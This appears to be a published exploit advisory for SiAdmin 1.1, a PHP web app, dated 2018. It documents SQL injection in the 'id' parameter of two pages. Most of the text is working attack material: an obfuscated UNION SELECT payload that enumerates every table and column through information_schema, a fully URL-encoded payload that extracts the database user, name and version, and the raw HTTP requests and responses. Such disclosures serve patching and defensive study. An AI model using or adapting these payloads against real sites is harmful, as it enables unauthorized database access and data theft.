SiAdmin 1.1 - 'id' SQL Injection

# Exploit Title: SiAdmin 1.1 - 'id' SQL Injection
# Dork: N/A
# Date: 2018-11-04
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://www.bubul.net/
# Software Link: https://kent.dl.sourceforge.net/project/siadmin/SiAdmin%201.1/SiAdmin%201.1.zip
# Version: 1.1
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# http://localhost/[PATH]/modul/mod_beasiswa/print.php?op=print&id=[SQL]
# 
GET /[PATH]/modul/mod_beasiswa/print.php?op=print&id=-4%27%20%20UNION%20%20SELECT%201,2,3,4,5,6,(selECt(@x)fROm(selECt(@x:=0x00)%2c(@rUNNing_nuMBer:=0)%2c(@tbl:=0x00)%2c(selECt(0)fROm(infoRMATion_schEMa.coLUMns)wHEre(tABLe_schEMa=daTABase())aNd(0x00)in(@x:=Concat(@x%2cif((@tbl!=tABLe_name)%2cConcat(LPAD(@rUNNing_nuMBer:=@rUNNing_nuMBer%2b1%2c2%2c0x30)%2c0x303d3e%2c@tBl:=tABLe_naMe%2c(@z:=0x00))%2c%200x00)%2clpad(@z:=@z%2b1%2c2%2c0x30)%2c0x3d3e%2c0x4b6f6c6f6e3a20%2ccolumn_name%2c0x3c62723e))))x),8--%20- HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=va3kfka1v4dqvadpkdpm7f7vs0
Connection: keep-alive
HTTP/1.1 200 OK
Date: Sun, 04 Nov 2018 13:22:52 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: private, max-age=0, must-revalidate
Pragma: public
Content-Disposition: inline; filename="Ansanwan-Laporan.pdf"
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: application/pdf

# POC: 
# 2)
# http://localhost/[PATH]/show.php?op=beasiswa&act=lihat&id=[SQL]
# 
GET /[PATH]/show.php?op=beasiswa&act=lihat&id=%2d%34%27%20%20%55%4e%49%4f%4e%20%53%45%4c%45%43%54%20%31%2c%32%2c%33%2c%34%2c%35%2c%43%4f%4e%43%41%54%5f%57%53%28%30%78%32%30%33%61%32%30%2c%55%53%45%52%28%29%2c%44%41%54%41%42%41%53%45%28%29%2c%56%45%52%53%49%4f%4e%28%29%29%2c%37%2c%38%2d%2d%20%2d HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=va3kfka1v4dqvadpkdpm7f7vs0
Connection: keep-alive
HTTP/1.1 200 OK
Date: Sun, 04 Nov 2018 13:30:25 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 6079
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8